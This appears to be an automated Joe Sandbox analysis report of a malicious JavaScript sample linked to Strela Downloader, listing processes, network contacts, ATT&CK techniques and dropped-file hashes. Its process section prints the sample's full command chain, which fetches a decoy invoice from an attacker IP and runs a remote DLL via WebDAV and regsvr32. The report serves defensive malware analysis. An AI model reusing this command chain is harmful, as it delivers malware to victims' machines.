Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
551753881921117607.js	7%	Virustotal		Browse
551753881921117607.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/-	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/U	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/~	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3363394873.000001A4BEA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2141152236.000001A4BE8B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/U	net.exe, 00000007.00000002.2128701860.0000018FE6B18000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2121891312.0000018FE6B6B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2128701860.0000018FE6B18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2128882823.0000018FE6B6D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/-	net.exe, 00000007.00000002.2128701860.0000018FE6B18000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/~	net.exe, 00000007.00000002.2128701860.0000018FE6B18000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587968
Start date and time:	2025-01-10 20:00:19 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	551753881921117607.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.219.243.226, 3.233.129.217, 52.6.155.20, 52.22.41.97, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 23.41.168.139, 13.107.246.45, 4.245.163.56, 52.149.20.212
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:01:15	API Interceptor	21x Sleep call for process: powershell.exe modified
14:01:18	API Interceptor	1x Sleep call for process: net.exe modified
14:01:19	API Interceptor	2x Sleep call for process: svchost.exe modified
14:01:31	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	Message 2.eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	WSJ25F.bat	Get hash	malicious	Unknown	Browse	199.232.210.172
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7893194593206114961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15410205613216010723.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307149454043442
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugo:gJjJGtpTq2yv1AuNZRY3diu8iBVqFi
MD5:	F89E88EB47258EB3CF7A12C17AD338F7
SHA1:	19ED59B14BD827FE09C030E3670B955B59987E5E
SHA-256:	F338AB51C3DD0F44BCDD7DAF64FB05CFCF07A078DDFFF4192C650B046A38350D
SHA-512:	3A4A64435C3CA6EBA284FE4897FDD1D7B079C7ABF9B7D5A1BD4A2ADF69D9F955ABA1C3E3C55A953E4C87D641BA88BD485B1EA10B821FC00A9ADD5661FDA6472A
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x7cb1dcde, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585794454417279
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	C05BF7B9B4A6DE5311123BF8A898FE60
SHA1:	7E7D6DC2040DABDAD5ADDB15638446C7ABA6791F
SHA-256:	1FB23F958289D77A21EC9F27D0354E09A4D5ED3C2169CECF2404F435701CDB26
SHA-512:	6FDFEA6FAEF7B7929F10AE30AB490171722288EBEDBC935490720DBD22CA6E825029464993009C351DDA9FC2014B35E1755C6EF82DD9FED55B05B4BCA4331E17
Malicious:	false
Preview:	\|...... ...............X\...;...{......................0.z..........{.......}I.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..........................................}..................s......}i..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08105652531764361
Encrypted:	false
SSDEEP:	3:JPSXKYeGnk4ovekGuAJkhvekl1G2J4qllrekGltll/SPj:ByKzTtrxl8m4eJe3l
MD5:	2EFEDF69D50370A37F3112C9F32C4A4A
SHA1:	6CB6B8C3797DA2F50EFCEA53A623B30053723743
SHA-256:	2898AE32DB769840636DF465219E46CE0E83A2B3FBB4D96EEFF9BCD67A2D2D7D
SHA-512:	B4F7087A55576B3E2D7FA72DDE48C48C14AF973DF29966190102A4446D33A3C35C23E13ADD854285C50F30CEFF6E5CC8659B0EFDE5AA4EE8760715058C1D0372
Malicious:	false
Preview:	.1.*.....................................;...{.......}i......{...............{.......{...XL......{..................s......}i.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.1715504792587295
Encrypted:	false
SSDEEP:	6:iO40Vbq2P92nKuAl9OmbnIFUtS0xpZZmws04TpkwO92nKuAl9OmbjLJ:7dVbv4HAahFUtnxz/B25LHAaSJ
MD5:	D95661DF803803EC5BD064E3421BC385
SHA1:	2F42DD2D1687B925CBFE4CB3F55F7B74DF0CBE99
SHA-256:	0B2A203E9C321AD3819DCE69C93DC766A041E088A07739D0925F55DC8378356F
SHA-512:	251EE6F5BAF3FA61426EEE0A88E05AEDA57A272A4538B0E0965AC819801EAE4C7A9A1AAA8616F94CA93D07492EBBF5169D1C42AE55EE437FC30D7070418B76E7
Malicious:	false
Preview:	2025/01/10-14:01:18.909 640 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:01:18.913 640 Recovering log #3.2025/01/10-14:01:18.914 640 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.1715504792587295
Encrypted:	false
SSDEEP:	6:iO40Vbq2P92nKuAl9OmbnIFUtS0xpZZmws04TpkwO92nKuAl9OmbjLJ:7dVbv4HAahFUtnxz/B25LHAaSJ
MD5:	D95661DF803803EC5BD064E3421BC385
SHA1:	2F42DD2D1687B925CBFE4CB3F55F7B74DF0CBE99
SHA-256:	0B2A203E9C321AD3819DCE69C93DC766A041E088A07739D0925F55DC8378356F
SHA-512:	251EE6F5BAF3FA61426EEE0A88E05AEDA57A272A4538B0E0965AC819801EAE4C7A9A1AAA8616F94CA93D07492EBBF5169D1C42AE55EE437FC30D7070418B76E7
Malicious:	false
Preview:	2025/01/10-14:01:18.909 640 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:01:18.913 640 Recovering log #3.2025/01/10-14:01:18.914 640 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.0854080916147
Encrypted:	false
SSDEEP:	6:iO4rq2P92nKuAl9Ombzo2jMGIFUtS8ZZmwsfXPkwO92nKuAl9Ombzo2jMmLJ:76v4HAa8uFUthZ/6XP5LHAa8RJ
MD5:	3684FE85C90CFAF0FDCE856D3E57F5CE
SHA1:	4F3F01E4DBB464AE92BD0248F7DB6273C73113B5
SHA-256:	0ACBAACE8F2208B7488FD7FE3CC73777817900674E9DA69520F515D9834CCECD
SHA-512:	646AD9C0A99217C73B8A5579EA99D1EFEA529EE0EF3895792C161B5A132588710D0AEF046BB428DFD7AAF636A717CB74C31B7F59F5D4E8616CD824EB8988B9BE
Malicious:	false
Preview:	2025/01/10-14:01:19.100 e24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:01:19.102 e24 Recovering log #3.2025/01/10-14:01:19.103 e24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.0854080916147
Encrypted:	false
SSDEEP:	6:iO4rq2P92nKuAl9Ombzo2jMGIFUtS8ZZmwsfXPkwO92nKuAl9Ombzo2jMmLJ:76v4HAa8uFUthZ/6XP5LHAa8RJ
MD5:	3684FE85C90CFAF0FDCE856D3E57F5CE
SHA1:	4F3F01E4DBB464AE92BD0248F7DB6273C73113B5
SHA-256:	0ACBAACE8F2208B7488FD7FE3CC73777817900674E9DA69520F515D9834CCECD
SHA-512:	646AD9C0A99217C73B8A5579EA99D1EFEA529EE0EF3895792C161B5A132588710D0AEF046BB428DFD7AAF636A717CB74C31B7F59F5D4E8616CD824EB8988B9BE
Malicious:	false
Preview:	2025/01/10-14:01:19.100 e24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:01:19.102 e24 Recovering log #3.2025/01/10-14:01:19.103 e24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\35e7f512-4300-494b-9538-1b034a2958c2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.050756845528369
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqDRsBdOg2HWcaq3QYiubxnP7E4T3OF+:Y2sRds/dMHp3QYhbxP7nbI+
MD5:	23670F853743C72BC0362944461951EB
SHA1:	8F4D6029AC9304CDE1481C7DBAF3C7465567B2DA
SHA-256:	30D6A880D53CC31C662433F56ACC0731E07AEB724909225685A6DE7D27455BF0
SHA-512:	7B6039C88A1C554C6A8B1FE5E5E125206DB3209A43DFC78CF33A90E863EF9982EFFAACE9714771D9AA07B868F8DC398FF89A1E097F2B0343772AC8663F52AA77
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381095691302862","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133292},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.050756845528369
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqDRsBdOg2HWcaq3QYiubxnP7E4T3OF+:Y2sRds/dMHp3QYhbxP7nbI+
MD5:	23670F853743C72BC0362944461951EB
SHA1:	8F4D6029AC9304CDE1481C7DBAF3C7465567B2DA
SHA-256:	30D6A880D53CC31C662433F56ACC0731E07AEB724909225685A6DE7D27455BF0
SHA-512:	7B6039C88A1C554C6A8B1FE5E5E125206DB3209A43DFC78CF33A90E863EF9982EFFAACE9714771D9AA07B868F8DC398FF89A1E097F2B0343772AC8663F52AA77
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381095691302862","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133292},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.236148192975509
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU5qtK84:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLc
MD5:	85FD43F1E7FDCF08EAB654AFDB2D012F
SHA1:	4C2BB28E9EB00E3B3B4BB848C590BBE3EA0CE65E
SHA-256:	13386D9A52C7224D2CB5D7DD67ED38344C71CFED563E190BB3313820B922D711
SHA-512:	B2F7B60FF08BB5C79AEAE6774F0BC2E271A3CE2AE2CAD26AA978C17542EEEDF4DA9E6CAED5ED6B6DD27E0BB031989C98F740C6B752CBCA0E7E32563EDE9CDEA9
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.143747533471347
Encrypted:	false
SSDEEP:	6:iO4KQFyMq2P92nKuAl9OmbzNMxIFUtSKcXZmwsKSFCFkwO92nKuAl9OmbzNMFLJ:7+Fvv4HAa8jFUto/B5LHAa84J
MD5:	D3D2432AFE281B9E311D927EC4B15BAF
SHA1:	046F60F552685B414798E1A4762C1EB370E280E5
SHA-256:	F392A95C66CC1283A9F2C476D6BDD889629A5566CEBE37AECC99A17C4C33E42A
SHA-512:	CB5DC6AFD30A4903132C1985DAA4558E93A981519A0805D0FE11DACA6E8255DEB7BD6158C7130F18F6958474E0112CAEB3AAC1BC609D59854887BBDB80A97F09
Malicious:	false
Preview:	2025/01/10-14:01:19.195 e24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:01:19.196 e24 Recovering log #3.2025/01/10-14:01:19.197 e24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.143747533471347
Encrypted:	false
SSDEEP:	6:iO4KQFyMq2P92nKuAl9OmbzNMxIFUtSKcXZmwsKSFCFkwO92nKuAl9OmbzNMFLJ:7+Fvv4HAa8jFUto/B5LHAa84J
MD5:	D3D2432AFE281B9E311D927EC4B15BAF
SHA1:	046F60F552685B414798E1A4762C1EB370E280E5
SHA-256:	F392A95C66CC1283A9F2C476D6BDD889629A5566CEBE37AECC99A17C4C33E42A
SHA-512:	CB5DC6AFD30A4903132C1985DAA4558E93A981519A0805D0FE11DACA6E8255DEB7BD6158C7130F18F6958474E0112CAEB3AAC1BC609D59854887BBDB80A97F09
Malicious:	false
Preview:	2025/01/10-14:01:19.195 e24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:01:19.196 e24 Recovering log #3.2025/01/10-14:01:19.197 e24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
